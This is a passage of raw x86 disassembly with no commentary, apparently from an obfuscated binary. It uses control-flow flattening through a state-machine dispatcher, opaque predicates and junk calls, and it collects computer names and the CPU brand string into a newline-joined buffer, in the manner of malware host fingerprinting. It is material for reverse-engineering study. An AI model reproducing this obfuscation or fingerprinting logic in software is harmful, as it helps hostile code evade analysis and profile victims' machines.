jmp 0x4341e7
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
add eax, 0x1b
mov dword [esi + 0x154], eax
mov dword [esi], 0xa098f6f1
jmp 0x4341e7
imul eax, dword [esi + 4], 0xce000
mov dword [esi + 4], eax
mov dword [esi], 0x1fcf7e4a
jmp 0x4341e7
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x18]
mov dword [esi], 0xa1a452a5
jmp 0x4341e7
mov ebx, dword [esi + 4]
shl ebx, 5
add ebx, 0xffc2f780
mov edi, 0xdcc6f548
and ebx, 0xffff8000
mov dword [esi + 4], ebx
je 0x438311
mov edi, 0xaff9186a
push 0x5086
push 0x11be
push ebx
call fcn.004250b7
add esp, 0xc
push ebx
push 0x3bb
push 0x1bcb
push 0x5e5b
call fcn.004399a0
add esp, 0x10
mov dword [esi], edi
jmp 0x4341e7
mov eax, dword [esi + 0x98]
add eax, 0x14
mov dword [esi + 0x184], eax
mov dword [esi], 0x366a8f86
jmp 0x4341e7
push 1
push 0x41
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi], 0x486cf2cd
jmp 0x4341e7
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x9c], eax
mov dword [esi], 0x15a09b8c
jmp 0x4341e7
push 7
push 0x466ba8
push 0xc
push dword [esi + 0x7c]
call fcn.00439900
add esp, 0x10
push dword [esi + 0x7c]
push 0x23fef64a
call fcn.0043cda8
add esp, 8
mov dword [esi + 0x140], eax
mov dword [esi], 0xb3ca34d2
jmp 0x4341e7
imul edi, dword [esi + 4], 0x2270
add edi, 0x102bc0
mov dword [esi + 4], edi
push edi
push 0x11b8
push 0x4eb9
push 0x50c5
call fcn.004399a0
add esp, 0x10
push edi
call fcn.004341d0
add esp, 4
mov eax, 0xaf92ce38
cmp edi, 0x6b
jge 0x438403
mov eax, 0x81e12f62
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
shr eax, 8
imul ecx, eax, 0x37
imul ecx, ecx
imul edx, ecx, 0x58e1
dec edx
imul eax, eax, 0x46780000
mov dword [esi + 8], eax
mov eax, 0x461cce8c
cmp ecx, edx
je 0x438434
mov eax, 0x5eb38df1
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x94]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x40]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0xd7b4c8d6
jmp 0x4341e7
imul eax, dword [esi + 8], 0x2a
add eax, 0xffffff76
mov dword [esi + 8], eax
mov dword [esi], 0xd562ff25
jmp 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0x16
add eax, 0xffffff88
shr eax, 2
and eax, 0xffffffe0
mov dword [esi + 8], eax
mov dword [esi], 0x1adb96c9
jmp 0x4341e7
mov eax, dword [esi + 0x6c]
mov byte [eax + 0x18], 0
mov dword [esi], 0x3361bb01
jmp 0x4341e7
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x18], eax
mov dword [esi], 0xe38d4443
jmp 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0x14
add eax, 0xffffd500
mov dword [esi + 8], eax
mov dword [esi], 0xbd4ff6ac
jmp 0x4341e7
mov eax, dword [esi + 8]
lea eax, [eax + eax*2]
add eax, eax
add eax, 0xffffff14
shr eax, 4
add eax, 0x3d
mov dword [esi + 8], eax
mov dword [esi], 0x9659fc8b
jmp 0x4341e7
push 0x17
push str.ExTR_O_
push dword [esi + 0x8c]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0xd88ce2bb
jmp 0x4341e7
push dword [esi + 0x44]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
call fcn.0042438c
mov dword [esi + 0x178], eax
mov dword [esi], 0xc45b011c
jmp 0x4341e7
mov eax, dword [esi + 0x30]
mov dword [esi], 0x3df9b996
jmp 0x4341e7
mov eax, dword [esi + 8]
add eax, 0x2b
imul ecx, eax, 0x462
imul eax, eax
imul edx, eax, 0x48a7
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xdff3f166
cmp eax, edx
je 0x438588
mov ecx, 0x7fe3d7a
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1cc], eax
mov dword [esi], 0x6b38afcd
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 2
imul ecx, eax, 0x6b
mov dword [esi + 4], ecx
mov eax, 0xe5545476
cmp ecx, 0xcc
jb 0x4385d6
mov eax, 0x3d690808
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 4], 0xb6b0000
or eax, 0xb3
mov dword [esi + 4], eax
call fcn.004079ef
mov dword [esi], 0xaf54701f
jmp 0x4341e7
imul edi, dword [esi + 4], 0xcf
add edi, 0xf3
mov dword [esi + 4], edi
push 0x5a6f
push 0x204e
push 0x30eb
push edi
call fcn.004399a0
add esp, 0x10
mov eax, 0x1b9c2852
cmp edi, 0xd4
jae 0x438636
mov eax, 0x81e12f62
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x24]
mov dword [esi], 0x87978f14
jmp 0x4341e7
mov eax, dword [esi + 4]
lea ecx, [eax + eax*2]
mov eax, ecx
shr eax, 9
mov dword [esi + 4], eax
mov eax, 0x7b829d7e
cmp ecx, 0x19600
jb 0x43866b
mov eax, 0xe38d4443
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
mov ecx, 0xa1
add eax, ecx
shr eax, 0xb
imul eax, eax, 0x4bf0
add eax, 0x32
mov dword [esi + 4], eax
call fcn.004079ef
mov dword [esi], 0x9c55db8d
jmp 0x4341e7
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1c8], eax
mov dword [esi], 0x3478b7e1
jmp 0x4341e7
mov dword [esi], 0x86f9a22e
jmp 0x4341e7
push dword [esi + 0x164]
push dword [esi + 0x168]
push dword [esi + 0x16c]
push dword [esi + 0x174]
push dword [esi + 0x90]
push 0x7ff
push dword [esi + 0xf0]
call fcn.004250b7
add esp, 0x1c
mov dword [esi], 0xa8ac93ea
jmp 0x4341e7
mov eax, dword [esi + 8]
shr eax, 0xe
and eax, 0x1ffff
mov ecx, eax
imul ecx, eax
shl eax, 7
imul edx, ecx, 0x8065
dec edx
add eax, 0xe0
mov dword [esi + 8], eax
mov eax, 0xb04edff9
cmp ecx, edx
je 0x43873b
mov eax, 0xa01a6a88
mov dword [esi], eax
jmp 0x4341e7
mov edi, dword [esi + 4]
shl edi, 0x1e
add edi, 0xffffff86
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
mov eax, 0x1171bc90
cmp edi, 0x6e
jl 0x438766
mov eax, 0x2d0cd768
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1c4], eax
mov dword [esi], 0x35ce95f3
jmp 0x4341e7
imul edi, dword [esi + 4], 0x698
add edi, 0xffff7cd1
mov dword [esi + 4], edi
push 0x1200
push 0x31c1
push 0x62b
push edi
call fcn.004399a0
add esp, 0x10
push edi
push 0x3c9b
push 0xa90
push 0x34c
call fcn.004399a0
add esp, 0x10
mov eax, 0x7b829d7e
cmp edi, 0xcf
jb 0x4387e8
mov eax, 0x31419f4
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x180]
mov word [eax], 0xa
mov dword [esi], 0x674fda92
jmp 0x4341e7
imul edi, dword [esi + 4], 0x474
add edi, 0x1e
shr edi, 3
and edi, 0xfffffffe
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
call fcn.004079ef
mov eax, 0x896a37df
cmp edi, 0xdd
jae 0x438838
mov eax, 0xf4d683d7
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi + 0x114], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi], 0xd05b7f21
jmp 0x4341e7
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xd4], eax
mov dword [esi], 0x3325a9b7
jmp 0x4341e7
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xd5c46b10
jmp 0x4341e7
mov eax, dword [esi + 0x184]
mov byte [eax], 0
mov dword [esi], 0xd2823ab7
jmp 0x4341e7
mov eax, dword [esi + 4]
add eax, 0x5e
and eax, 0xfffff800
lea edi, [eax + eax*4]
mov dword [esi + 4], edi
call fcn.004079ef
push edi
call fcn.004341d0
add esp, 4
mov eax, 0x444b1400
test edi, edi
je 0x4388c9
mov eax, 0x7d607d0
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x17c]
mov dword [esi + 0x180], eax
mov dword [esi], 0x6d5ca6a6
jmp 0x4341e7
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov dword [esi], 0x789b2fa9
jmp 0x4341e7
imul eax, dword [esi + 8], 0x3b800
mov dword [esi + 8], eax
mov dword [esi], 0xe5545476
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0xb
imul edi, eax, 0xba
lea eax, [edi - 0x8a74]
mov dword [esi + 4], eax
call fcn.004079ef
mov eax, 0xe5444044
cmp edi, 0x8b42
jae 0x43893f
mov eax, 0xaff9186a
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
mov ecx, 0xffffff6f
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xcc9
dec edx
shr eax, 4
mov dword [esi + 8], eax
mov eax, 0x150f2f51
cmp ecx, edx
je 0x438970
mov eax, 0x164f71a1
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi], 0x4d3b7e04
jmp 0x4341e7
push dword [esi + 0x14]
lea eax, [esi + 0x1f8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0x154e76aa
jmp 0x4341e7
push 0x18
push dword [esi + 0x8c]
push dword [esi + 0x3c]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0x301d9481
jmp 0x4341e7
imul edi, dword [esi + 4], 0x74
add edi, 0xfffff1b5
mov dword [esi + 4], edi
push edi
push 0x513
push 0x54e1
push 0x47d
call fcn.004399a0
add esp, 0x10
push 0xd52
push edi
push 0x34a3
push 0x37e4
call fcn.004399a0
add esp, 0x10
mov eax, 0x9c9ae2ee
cmp edi, 0x25
jb 0x438a09
mov eax, 0x55e9cc84
mov dword [esi], eax
jmp 0x4341e7
mov edi, dword [esi + 4]
mov eax, 0xa0
add edi, eax
mov ebx, edi
shr ebx, 0xe
add ebx, 0xffffff6f
mov dword [esi + 4], ebx
push ebx
call fcn.004341d0
add esp, 4
push ebx
call fcn.004341d0
add esp, 4
mov eax, 0xe5444044
cmp edi, 0x5a8000
jae 0x438a4c
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
mov ecx, 0xf6
add eax, ecx
shr eax, 9
imul edi, eax, 0x25a7
mov ebx, edi
shr ebx, 2
mov dword [esi + 4], ebx
push 0x26b4
push 0x5d3d
push 0x525f
push ebx
call fcn.00439900
add esp, 0x10
push 0x2e5a
push 0x45e0
push ebx
push 0x66d
call fcn.004399a0
add esp, 0x10
mov eax, 0x164f71a1
cmp edi, 0x334
jb 0x438ab0
mov eax, 0xf884d28d
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
mov ecx, 0xfffffec7
add eax, ecx
mov ecx, eax
shr ecx, 0xb
shr eax, 0x14
imul ecx, ecx
add eax, 0x9c
imul edx, ecx, 0x74b
dec edx
mov dword [esi + 8], eax
mov eax, 0x6f4f0b35
cmp edx, ecx
je 0x438ae9
mov eax, 0xaff9186a
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
shl eax, 6
add eax, 0xffffff74
shr eax, 5
and eax, 0xffffffe0
imul ecx, eax, 0x6d
mov dword [esi + 4], ecx
mov eax, 0x9c15aef3
cmp ecx, 0x30
jl 0x438b16
mov eax, 0xa7677bda
mov dword [esi], eax
jmp 0x4341e7
mov edi, 0x14
push edi
push 0x470620
push dword [esi + 0x98]
call fcn.00441d60
add esp, 0xc
push 4
push 0x470634
push edi
push dword [esi + 0x98]
call fcn.004399a0
add esp, 0x10
push 0x15
push dword [esi + 0x98]
push dword [esi + 0x48]
call fcn.00441d60
add esp, 0xc
push dword [esi + 0x48]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xe0]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], pe_nt_image_headers32
push dword [esi + 0xe4]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x188], eax
mov dword [esi], 0xed1b63f6
jmp 0x4341e7
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x44], eax
mov dword [esi], 0x630b484b
jmp 0x4341e7
push 6
push 0x466b54
push 0xa
push dword [esi + 0x68]
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x1f64fb16
jmp 0x4341e7
mov ebx, dword [esi + 4]
add ebx, 0xffffffc5
shr ebx, 0xc
add ebx, 0xffffff76
shr ebx, 1
add ebx, 0xfe
mov dword [esi + 4], ebx
push ebx
push 0x6d8
push 0xdd
push 0x4b7b
call fcn.004399a0
add esp, 0x10
push ebx
push 0x24c7
push 0x47b2
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0xfca43b8f
jmp 0x4341e7
mov edi, dword [esi + 4]
add edi, 0x2e
mov eax, edi
shr eax, 7
add eax, 0x1a
mov dword [esi + 4], eax
call fcn.004079ef
call fcn.004079ef
mov eax, 0x188fec6
cmp edi, 0x6100
jae 0x438c7a
mov eax, 0x30e73b45
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
shr eax, 7
add eax, 0x1c8
mov ecx, eax
shr ecx, 0xd
imul eax, eax
imul edx, eax, 0x7f4f
dec edx
add ecx, 0xa4
mov dword [esi + 8], ecx
mov ecx, 0xf47aba48
cmp eax, edx
je 0x438cb2
mov ecx, 0xb11ae242
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 0xd8]
mov word [eax + 0x18], 0
push 0x18
push 0x466bf0
push dword [esi + 0xd8]
call fcn.00441d60
add esp, 0xc
push 7
push 0x466c08
push 0xc
push dword [esi + 0xd8]
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x2eac4378
jmp 0x4341e7
imul eax, dword [esi + 8], 0x1880
mov dword [esi + 8], eax
mov dword [esi], 0xddae6694
jmp 0x4341e7
mov eax, dword [esi + 0x64]
mov word [eax + 0x14], 0
mov dword [esi], 0x524f7fc6
jmp 0x4341e7
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 8
lea eax, [ecx + eax*8]
add eax, 0x268
mov dword [esi + 4], eax
call fcn.004079ef
call fcn.004079ef
mov dword [esi], 0x7b829d7e
jmp 0x4341e7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xc4], eax
mov dword [esi + 0xc8], ebx
mov dword [esi + 0xcc], ecx
mov dword [esi + 0xd0], edx
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1c0], eax
mov dword [esi], 0xa8be00b9
jmp 0x4341e7
mov eax, dword [esi + 0xa0]
add eax, 0xc
mov dword [esi + 0x18c], eax
mov dword [esi], 0x5d2b445
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 2
imul edi, eax, 0x6be8b5
add edi, 0xffffff18
mov dword [esi + 4], edi
push 0x18e
push 0x2259
push 0x5407
push edi
call fcn.00439900
add esp, 0x10
push edi
call fcn.004341d0
add esp, 4
mov eax, 0xedd65c39
cmp edi, 0x8e
jb 0x438e05
mov eax, 0x39083938
mov dword [esi], eax
jmp 0x4341e7
mov ecx, dword [esi + 4]
shl ecx, 0x10
add ecx, 0xfeed0000
mov dword [esi + 4], ecx
mov eax, 0xe2af09d8
cmp ecx, 0x97
jl 0x438e2d
mov eax, 0x45dda33e
mov dword [esi], eax
jmp 0x4341e7
imul ecx, dword [esi + 4], 0xb2
add ecx, 0xffffc7ae
shr ecx, 6
mov eax, 0xd88ce2bb
and ecx, 0x3ffffc0
mov dword [esi + 4], ecx
je 0x438e59
mov eax, 0xd5c46b10
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 4], 0x4080
add eax, 0x1a7480
mov dword [esi + 4], eax
push 0x2029
push eax
push 0x4d8c
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0xe6fb631d
jmp 0x4341e7
imul edi, dword [esi + 4], 0x38000
add edi, 0xaf8000
mov eax, edi
shr eax, 5
mov dword [esi + 4], eax
push eax
push 0x1b33
push 0x2fd1
call fcn.004250b7
add esp, 0xc
mov eax, 0xbd4ff6ac
test edi, edi
je 0x438ec3
mov eax, 0xbba16f90
mov dword [esi], eax
jmp 0x4341e7
imul ecx, dword [esi + 4], 0x5c
add ecx, 0x37b4
mov dword [esi + 4], ecx
mov eax, 0xe38d4443
cmp ecx, 0x7e
jae 0x438ee6
mov eax, 0x86f9a22e
mov dword [esi], eax
jmp 0x4341e7
imul ecx, dword [esi + 4], 0xf20000
add ecx, 0xffffff32
mov dword [esi + 4], ecx
mov eax, 0xaff9186a
cmp ecx, 0x84
jge 0x438f0f
mov eax, 0xbf762f50
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x1c]
mov dword [esi], 0x9858f92c
jmp 0x4341e7
mov eax, dword [esi + 0xdc]
add eax, 0x14
mov dword [esi + 0x1e0], eax
mov dword [esi], 0x26aae736
jmp 0x4341e7
mov dword [esi], 0xa7949b7e
jmp 0x4341e7
mov ecx, dword [esi + 4]
mov eax, 0x179
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x2348d221
cmp ecx, 0xf7
jge 0x438f68
mov eax, 0x5e631d97
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
shl eax, 0xd
or eax, 0xdd
imul eax, eax, 0x71
add eax, 0x41
mov dword [esi + 4], eax
push 0x50ce
push 0x3d03
push eax
push 0x1214
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0xcad77578
jmp 0x4341e7
mov eax, dword [esi + 0x14c]
mov word [eax], 0xa
mov eax, dword [esi + 0x28]
mov dword [esi], 0x475d0cae
jmp 0x4341e7
mov eax, dword [esi + 4]
add eax, 0xffffffa8
shr eax, 0xe
imul edi, eax, 0x73
add edi, 0x5069
mov dword [esi + 4], edi
push 0x414f
push edi
push 0x5339
push 0x582c
call fcn.00439900
add esp, 0x10
push 0x5d37
push edi
push 0x1391
push 0x3d5d
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x55e9cc84
jmp 0x4341e7
imul edi, dword [esi + 4], 0x102000
add edi, 0xffffffde
mov dword [esi + 4], edi
push 0x5e2b
push edi
push 0x1a77
call fcn.004250b7
add esp, 0xc
push edi
push 0x23
push 0x11da
call fcn.004250b7
add esp, 0xc
mov eax, 0x8410c221
cmp edi, 0x92
jl 0x439051
mov eax, 0xf4663ab1
mov dword [esi], eax
jmp 0x4341e7
push dword [esi + 0x10]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x1d0], eax
mov dword [esi], 0xe1cbe720
jmp 0x4341e7
mov eax, dword [esi + 8]
lea ecx, [eax + 0xca]
imul ecx, ecx
imul edx, ecx, 0x36cd
dec edx
add eax, 0x112
mov dword [esi + 8], eax
mov eax, 0xd5e1a957
cmp ecx, edx
je 0x4390ab
mov eax, 0xe663ea5a
mov dword [esi], eax
jmp 0x4341e7
mov edi, dword [esi + 4]
mov eax, 0xfffffecb
add edi, eax
mov dword [esi + 4], edi
push 0x5b0a
push 0x217a
push 0x5b76
push edi
call fcn.00439900
add esp, 0x10
mov eax, 0x94fbdada
cmp edi, 0x8a
jae 0x4390e9
mov eax, 0x4475c09c
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi], 0x52f1c848
jmp 0x4341e7
mov eax, dword [esi + 0xd4]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xd4]
mov ecx, dword [0x470653]
mov dword [eax + 8], ecx
mov ecx, dword [0x47064f]
mov dword [eax + 4], ecx
mov ecx, dword [0x47064b]
mov dword [eax], ecx
push 4
push 0x470657
push 0xc
push dword [esi + 0xd4]
call fcn.004399a0
add esp, 0x10
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 0xd4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x50]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0xff6a3c06
jmp 0x4341e7
imul eax, dword [esi + 8], 0x9f3438
add eax, 0xff6cd899
mov dword [esi + 8], eax
mov dword [esi], 0xc0cd4a34
jmp 0x4341e7
mov dword [esi], 0xe67f83a
jmp 0x4341e7
mov dword [esi], 0x39083938
jmp 0x4341e7
mov ecx, dword [esi + 4]
shl ecx, 7
add ecx, 0x6880
mov eax, 0x5966d6ac
and ecx, 0xfffffe00
mov dword [esi + 4], ecx
je 0x4391c5
mov eax, 0xd7d12a07
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi], 0x3e76fd7f
jmp 0x4341e7
imul eax, dword [esi + 8], 0xce4
add eax, 0xffffff22
mov dword [esi + 8], eax
mov dword [esi], 0x1896314a
jmp 0x4341e7
mov edi, dword [esi + 4]
shr edi, 0x11
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
call fcn.004079ef
mov eax, 0x7a18dbdd
cmp edi, 0x33
je 0x439217
mov eax, 0xa2b8fef
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi], 0x6f4f0b35
jmp 0x4341e7
mov eax, dword [esi + 8]
mov ecx, 0xf6
add eax, ecx
imul ecx, eax, 0xcd
imul eax, eax
imul edx, eax, 0x52ab
dec edx
add ecx, 5
shr ecx, 1
mov dword [esi + 8], ecx
mov ecx, 0x157b8e02
cmp eax, edx
je 0x439259
mov ecx, 0xc7e3c84f
mov dword [esi], ecx
jmp 0x4341e7
mov ecx, dword [esi + 4]
shr ecx, 3
and ecx, 0x1ffffff
mov dword [esi + 4], ecx
mov eax, 0xe5444044
cmp ecx, 0xe2
jae 0x439281
mov eax, 0xc02aa3de
mov dword [esi], eax
jmp 0x4341e7
push dword [esi + 0x14]
push dword [esi + 0x28]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0x516304b9
jmp 0x4341e7
mov edi, dword [esi + 4]
mov eax, 0xffffff45
add edi, eax
mov eax, edi
shr eax, 0xd
mov dword [esi + 4], eax
call fcn.004079ef
mov eax, 0x411b18cb
cmp edi, 0x18a000
jae 0x4392ca
mov eax, 0x524f7fc6
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi], 0xb3955f7b
jmp 0x4341e7
mov dword [esi], 0x8bd3325c
jmp 0x4341e7
imul ecx, dword [esi + 4], 0xbb
add ecx, 0x5346
mov dword [esi + 4], ecx
mov eax, 0xaff9186a
cmp ecx, 0xf8
jge 0x439309
mov eax, 0x4d3b7e04
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 4], 0x7f8000
add eax, 0xfffff7dd
mov dword [esi + 4], eax
mov dword [esi], 0x67fbd7ba
jmp 0x4341e7
imul edi, dword [esi + 4], 0x122910
add edi, 0x7974f4c
mov dword [esi + 4], edi
call fcn.004079ef
mov eax, 0x7505dd62
cmp edi, 0xb2
jae 0x439351
mov eax, 0x741bfafd
mov dword [esi], eax
jmp 0x4341e7
mov edi, dword [esi + 4]
add edi, 0x26
shr edi, 0xe
add edi, 0xac
mov dword [esi + 4], edi
push edi
push 0x61f8
push 0x4436
push 0x5841
call fcn.00439900
add esp, 0x10
push 0x3ff4
push 0x62d6
push edi
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0x7b829d7e
jmp 0x4341e7
mov eax, dword [esi + 0x50]
mov dword [esi], 0x43745cb4
jmp 0x4341e7
mov ecx, dword [esi + 4]
shl ecx, 0xc
add ecx, 0xfffffe95
mov eax, ecx
shr eax, 6
mov dword [esi + 4], eax
mov eax, 0x1adb96c9
cmp ecx, 0x3600
jb 0x4393d4
mov eax, 0xba19f14a
mov dword [esi], eax
jmp 0x4341e7
lea eax, [esi + 0x1f0]
push eax
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0x44c10536
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0xb
imul edi, eax, 0xf8
add edi, 0xfffffff8
mov dword [esi + 4], edi
push 0x4600
push 0x3954
push 0x1942
push edi
call fcn.00439900
add esp, 0x10
mov eax, 0x3276d90c
cmp edi, 0x11
jb 0x439431
mov eax, 0x5e631d97
mov dword [esi], eax
jmp 0x4341e7
imul ecx, dword [esi + 4], 0x12ca
add ecx, 0xb3aba
mov dword [esi + 4], ecx
mov eax, 0x6a428a4e
cmp ecx, 0x67
jge 0x439457
mov eax, 0xe2e8a630
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0xb
imul eax, eax, 0x7a00000
mov dword [esi + 4], eax
push eax
push 0x1b51
push 0x19a7
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0xa645f8e4
jmp 0x4341e7
push dword [esi + 0xf0]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x44]
sub esp, 0xc
mov edi, esp
mov byte [edi + 8], 0
mov eax, dword [0x47060e]
mov dword [edi + 4], eax
mov eax, dword [0x47060a]
mov dword [edi], eax
mov eax, 8
push eax
push 0x470612
push eax
push edi
call fcn.004399a0
add esp, 0x10
mov eax, dword [esi + 0x44]
mov cl, byte [edi + 8]
mov byte [eax + 8], cl
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [esi], 0xfc921bf5
jmp 0x4341e7
imul edi, dword [esi + 4], 0x5d
add edi, 0x96
shr edi, 3
add edi, 0xffffff7b
mov dword [esi + 4], edi
push 0x41eb
push 0x1504
push 0x28e8
push edi
call fcn.00439900
add esp, 0x10
mov eax, 0x44c10536
cmp edi, 0xeb
jae 0x43953e
mov eax, 0x6f4f0b35
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
lea ecx, [eax + eax*8]
lea ecx, [ecx + ecx*2]
lea edi, [eax + ecx]
add edi, 0xad4
mov dword [esi + 4], edi
call fcn.004079ef
push edi
call fcn.004341d0
add esp, 4
mov eax, 0xbae1f94a
cmp edi, 0xdb
jl 0x43957a
mov eax, 0x18d9f315
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 8], 0x42000000
add eax, 0xffc43000
mov dword [esi + 8], eax
mov dword [esi], 0x455283a
jmp 0x4341e7
mov eax, dword [esi + 0x68]
add eax, 0x14
mov dword [esi + 0x11c], eax
mov dword [esi], 0xc02aa3de
jmp 0x4341e7
mov dword [esi], 0xa953ddc3
jmp 0x4341e7
mov eax, dword [esi + 8]
shr eax, 0xc
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6885
dec edx
mov eax, 0x301d9481
cmp ecx, edx
je 0x4395e0
mov eax, 0x55e9cc84
mov dword [esi], eax
jmp 0x4341e7
push dword [esi + 0x178]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x17c], eax
mov dword [esi], 0x2709ba19
jmp 0x4341e7
mov eax, dword [esi + 0x54]
mov dword [esi], 0x8ecd0d61
jmp 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0x6ef02
mov dword [esi + 8], eax
mov dword [esi], 0xb66cf8ed
jmp 0x4341e7
imul edi, dword [esi + 4], 0xd0
add edi, 0xffffb0fa
mov dword [esi + 4], edi
push edi
push 0xbe0
push 0x3956
call fcn.004250b7
add esp, 0xc
mov eax, 0x2cb551f6
cmp edi, 0x95
jge 0x439670
